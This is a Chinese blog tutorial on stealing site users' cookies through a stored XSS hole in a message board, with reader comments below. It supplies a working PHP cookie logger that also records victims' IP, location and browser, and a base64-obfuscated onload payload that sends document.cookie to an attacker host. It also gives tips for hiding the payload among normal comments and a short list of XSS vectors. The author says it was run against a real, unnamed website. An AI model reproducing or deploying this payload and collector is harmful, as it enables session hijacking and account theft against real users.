美文网首页安天365网络安全技术研究团队学习喵喵?CTF
利用存储型XSS跨站漏洞偷取用户Cookie实战

利用存储型XSS跨站漏洞偷取用户Cookie实战

作者: 王一航 | 来源:发表于2016-11-03 08:40 被阅读2736次

声明 :

严禁读者利用以下介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !


攻击者要偷取Cookie , 就要让他们精心构造的恶意代码在受害者的计算机上运行 , 一般来说 , 是在用户访问一个网页的时候执行一段JavaScript代码 , 这段代码会获取用户在当前页面的Cookie , 然后利用Http请求将这些数据发送到接收者的地址 , 这样就完成了一个Cookie的盗取过程 , 这里 , 要解决的问题有两个 :

  1. 如何能让用户在访问网页的同时下载并执行攻击者的恶意代码
  2. 如何来接受用户发送给我们的Cookie

一般来说 , 解决方案如下 :

  1. 要在一个网站上寻找有用户交互的地方 , 最常见的就是留言版 , 如果恶意攻击者拥有了留言的能力 , 而且网站不能检测出我们的留言的合法性 , 这样就给了恶意攻击者插入恶意代码的机会 , 这样 , 如果恶意攻击者插入的留言可以被管理员看到的话 , 那么管理员的Cookie就极有可能被攻击者拿到 , 或者如果这个留言是公开的 , 任何访客都可以进行浏览 , 那么任何浏览攻击者留言的人 , 他们的Cookie都可以被攻击者恶意代码获取到 , 并发送到攻击者的后台 . 如果这些Cookie是和用户的登陆状态相关联的 , 那么拥有了这些Cookie , 在Cookie有效的时间内 , 恶意攻击者就可以通过在HTTP请求头中添加这些Cookie以达到不使用身份认证也可以获取到授权的效果 . 恶意攻击者一般是要将自己精心构造的留言发送到服务器 , 这次攻击成功与否主要就在于这个精心构造的留言会不会被安全防护措施过滤掉 .
  2. 一旦攻击者的恶意代码成功插入到 , 必须得有一个接收Cookie的地方 , 一般来说攻击者会使用一台云服务器 , 在云服务器上运行一个Web服务器 , 这个Web服务器就是攻击者Cookie发送的地址 , Web服务器在接收到客户端(浏览了具有攻击者跨站漏洞脚本的用户)发送来的Cookie(一般来说就是GET/POST参数)之后 , 对参数进行储存 , 然后攻击者就可以对这些Cookie进行分析和利用

分为三步 :

  1. 搭建用于接收Cookie的Web服务器 , 这里测试的时候使用了笔者购置的一台虚拟主机 , 保证虚拟主机的Web服务正常开启 , 任何接入互联网的用户都可以正常访问以后 , 我们这里需要编写一个接收恶意脚本传递的参数的PHP文件 , 用于接受Cookie并把Cookie保存起来 , 这里我们暂时将Cookie保存在本地的一个文件中 , 以后我们可以将脚本进行优化 , 将Cookie数据保存在数据库中
<?php
 
    /*Config_start*/
    $result_file_name = "cookie.txt"; // 配置结果储存的文本文件
    $ip138_token = ""; // 这里使用到了IP138的查询接口 , 需要在IP138获取账号的Token , 才可以查询到IP的地理位置
    /*Config_end*/
 
    date_default_timezone_set('Asia/Shanghai'); // 设置时区
 
    $time=date("j F, Y, g:i a"); // 获取请求时间
    $ip = getip_out(); // 获取客户端IP
    $location = getLocationOfIP($ip, $ip138_token); // 获取IP所在地理位置
    $cookie = $_GET['c']; // 获取客户端传递的参数c , 也就是Cookie
    $referer=getenv ('HTTP_REFERER'); // 获取客户端来源地址
    $to = $_SERVER['PHP_SELF']; // 获取当前页面地址
    $browser = $_SERVER["HTTP_USER_AGENT"]; // 获取客户端浏览器版本(系统版本)
 
    $fp = fopen($result_file_name, 'a');
 
    fwrite($fp, "Time : ".$time."\n");
    fwrite($fp, "IP : ".$ip."\n");
    fwrite($fp, "Location : ".$location."\n");
    fwrite($fp, "Cookie : ".$cookie."\n");
    fwrite($fp, "From : ".$from."\n");
    fwrite($fp, "To : ".$to."\n");
    fwrite($fp, "Browser : ".$browser."\n");
    fwrite($fp, "------------------------------\n");
 
    fclose($fp);
 
    /* 获取访问者IP */
    function getip_out(){ 
        $ip=false; 
        if(!empty($_SERVER["HTTP_CLIENT_IP"])){ 
            $ip = $_SERVER["HTTP_CLIENT_IP"]; 
        } 
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
            $ips教程 = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']); 
            if ($ip) { array_unshift($ips, $ip); $ip = FALSE; } 
            for ($i = 0; $i < count($ips); $i++) { 
                if (!eregi ("^(10│172.16│192.168).", $ips[$i])) { 
                    $ip = $ips[$i]; 
                    break; 
                } 
            } 
        } 
        return ($ip ? $ip : $_SERVER['REMOTE_ADDR']); 
    }
 
    /* 根据IP获取位置 */
    function getLocationOfIP($ip, $token)
    {
        $request_location_of_ip = "http://api.ip138.com/query/?ip=".$ip."&datatype=jsonp&callback=find&token=".$token; // IP138的查询接口
        $page_content = file_get_contents($request_location_of_ip); // 获取IP138返回的Json数据
        //由于这里数据较短 , 因此简单处理
        $json_content = substr($page_content, 5);
        $json_content = substr($json_content, 0, -1);
        $json = json_decode($json_content);
        $data = $json->{'data'};
        $location = $data[0].$data[1].$data[2].$data[3]; // 这里也可以将国家/省份/城市分开来写
        return $location;
    }
?>

这里我们可以进行测试 :

01-00-35.jpg 01-01-55.jpg

发现的确是可以正常运行的
现在攻击者接收Cookie的服务器已经搭建完成 , 现在我们就需要来模拟攻击者进行的最重要的一步 , 也就是将攻击者自己构造的代码插入被入侵的网站
这里恶意攻击选取了一个具有留言板功能的网站进行测试 :
由于安全问题 , 这里就只进行截图 , 会对网站的地址进行隐藏
这里经过恶意攻击者不懈的努力和测试 , 发现了该网站没有过滤
<body onload=></body>这个标签 , 因此恶意代码就可以插入到onload这里
这里恶意攻击者为了不让自己的恶意代码暴露地特别明显 , 因此对恶意代码进行了一定的加密
恶意攻击者使用了Base64对恶意代码进行了编码 , 这样一般情况下 , 网站的管理员是很难这段代码是恶意代码的
恶意代码的大概逻辑是 :
利用JavaScript动态地向DOM中添加一个IMG标签 , 将这个标签的src属性设置为攻击者接收cookie参数的地址 , 这样浏览器在解析DOM的时候就会去访问攻击者的那个接收Cookie的地址 , 并且把自身的Cookie以参数的形式传递
在JavaScript中 , 要动态添加DOM节点 , 可以利用以下语句 :

document.body.appendChild(document.createElement('img')).setAttribute('src','http://www.xxx.com/cookie.php?c='+document.cookie);

然后攻击者要让这段代码执行 , 而且还要让其足够隐蔽 , 因此这里攻击者要将这段JavaScript代码进行Base64编码 , 然后再利用JavaScript的window.atob()进行Base64解码 , 最后再使用eval()函数进行执行 , 这样的话 , 攻击者最终插入的恶意代码为 :

<body ONLOAD=eval(window.atob("ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKSkuc2V0QXR0cmlidXRlKCdzcmMnLCdodHRwOi8vd3d3Lnh4eC5jb20vY29va2llLnBocD9jPScrZG9jdW1lbnQuY29va2llKTs="));></body>

然后因为是留言系统 , 这里再写一些留言来掩人耳目

这里添加一些留言...
<body ONLOAD=eval(window.atob("ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKSkuc2V0QXR0cmlidXRlKCdzcmMnLCdodHRwOi8vd3d3Lnh4eC5jb20vY29va2llLnBocD9jPScrZG9jdW1lbnQuY29va2llKTs="));></body>
01-27-58.jpg 01-29-05.jpg

01-29-47.jpg

留言成功 , 这时 , 攻击者就会查看自己添加的留言中的恶意代码是不是已经插入到了HTML页面中
查看源码 :

01-49-57.jpg

已经成功插入 , 现在攻击者就会去查看自己的服务器上的保存Cookie的文件 , 只要有人查看了自己的留言的话 , 就会有被记录下来 . 然后攻击者就可以利用这些Cookie达到自己的某些不可告人的目的.


XSS跨站脚本汇总(待续) :


<Body onload=YourScript></body>
<Img src='' onerror=YourSrcip/t>
<object data='YourXSSSite')></object>

相关文章

  • 利用存储型XSS跨站漏洞偷取用户Cookie实战

    声明 : 严禁读者利用以下介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知...

  • Web安全问题

    1.xss 跨站脚本攻击(反射型,存储型) 伪造会话(基于xss实现csrf) 劫持cookie: wind...

  • 代码审计——xss漏洞

    XSS漏洞大致分为三种 反射型XSS漏洞 存储型XSS漏洞 基于DOM的XSS漏洞 反射型XSS漏洞 它通过给别人...

  • XSS获取cookie并发送自己邮箱

    存储型XSS可以打到cookie,然后利用cookie去登陆别人账户,一般大家都使用XSS平台获取cookie,突...

  • XSS 与 CSRF 区别

    XSS(Cross-site scripting,跨站脚本),恶意用户利用网站漏洞,将代码注入到网页上,其他用户在...

  • 安全性测试

    安全性测试 • 认证与授权 • Session和cookie • 文件上传漏洞 • SQL 注入 • XSS 跨站...

  • DVWA之跨站脚本攻击漏洞测试02-存储型XSS

    一、Stored XSS概述 前文 DVWA之跨站脚本攻击漏洞测试01-反射型XSS 对Reflected XSS...

  • 19 Anguar防范跨站脚本攻击

    防范跨站脚本(XSS)攻击 跨站脚本(XSS)允许攻击者将恶意代码注入到页面中。这些代码可以偷取用户数据 (特别是...

  • 安全性测试

    Js document.cookie过去当前页面cookie Xss跨站攻击 Sql注入 最通用攻击手段,关系型数...

  • 9.2 XSS攻击

    XSS攻击 XSS(Cross Site Script)攻击又叫做跨站脚本攻击。他的原理是用户在使用具有XSS漏洞...

网友评论

  • 废材当爸:各种cookie被收入囊中:hamster:
  • 废材当爸:不错不错,支持你,一航
  • eth10:有一个字写错了,如何不是如果😜😜😜😜😜
    王一航:@et07xx 已修正 , 哈哈 , 谢谢提醒啦 , 感动 :smile:
  • noble_xu:可以考虑搭一个XSS平台
    王一航:@noble_xu 嗯嗯 , 会考虑的 , 谢谢啦 , 网上有很多XSS的框架 , 不知道自己写好还是直接用框架好 , 文章中提到的使用PHP写的简单的页面很难完成需求 , 还是得需要改进啊

本文标题:利用存储型XSS跨站漏洞偷取用户Cookie实战

本文链接:https://www.haomeiwen.com/subject/aiybuttx.html